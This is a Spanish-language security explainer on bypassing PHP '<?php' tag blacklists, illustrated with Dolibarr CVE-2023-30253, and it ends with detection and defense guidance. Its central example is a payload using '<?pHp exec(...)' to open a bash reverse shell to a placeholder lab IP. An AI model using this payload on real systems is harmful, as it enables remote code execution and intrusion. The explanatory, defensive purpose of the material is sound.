PHP Tag Filter Bypass

Algunas aplicaciones intentan evitar la ejecución de código PHP filtrando la cadena <?php de la entrada del usuario (por ejemplo, en un editor de contenido o un constructor de páginas). El problema es que PHP reconoce varias formas de abrir un bloque de código, y la comparación de la lista negra suele ser frágil:

• Insensibilidad a mayúsculas. La etiqueta de apertura no distingue mayúsculas: <?php, <?PHP y <?pHp son equivalentes para el intérprete. Un filtro que solo bloquea <?php en minúsculas se evade escribiendo <?pHp.
• Etiquetas cortas. Si short_open_tag está activo, <? (y <?= para imprimir) también abre código.
• Variantes históricas. Las etiquetas tipo ASP (<%) existieron en versiones antiguas.

El caso clásico es CVE-2023-30253 de Dolibarr: el constructor de sitios web filtra <?php, pero no <?pHp, de modo que el siguiente fragmento se ejecuta y da RCE:

<section id="mysection1" contenteditable="true">
    <?pHp exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.16.x/443 0>&1'"); ?>
</section>

La idea general aplica a cualquier lista negra: si bloquea una representación concreta de algo, casi siempre existe otra representación equivalente que el motor acepta (mayúsculas, codificaciones, espacios, comentarios intercalados).

Cómo detectarlo. La firma es contenido de usuario (guardado o subido) que contiene una etiqueta de apertura PHP en cualquier variante: <?php, <?PHP, <?pHp, <?= o <? a secas. Una regla de WAF/IDS insensible a mayúsculas sobre <? la caza mejor que una lista negra literal (que es justo lo que falla en el lado vulnerable). En disco, un fichero servible (.php, plantilla, página del builder) con esa etiqueta donde antes no la había es el indicador (FIM). La confirmación es el proceso web lanzando sh/bash tras renderizar ese contenido (auditd/Sysmon for Linux).

Defensa. No confiar en listas negras para impedir ejecución de código: no permitir contenido ejecutable donde no debe haberlo (servir el contenido del usuario sin pasarlo por el intérprete PHP, guardarlo fuera de rutas ejecutables), validar con listas blancas estrictas y, sobre todo, aplicar el parche del fabricante. Relacionado con la subida de fichero a RCE y con la inyección de plantillas.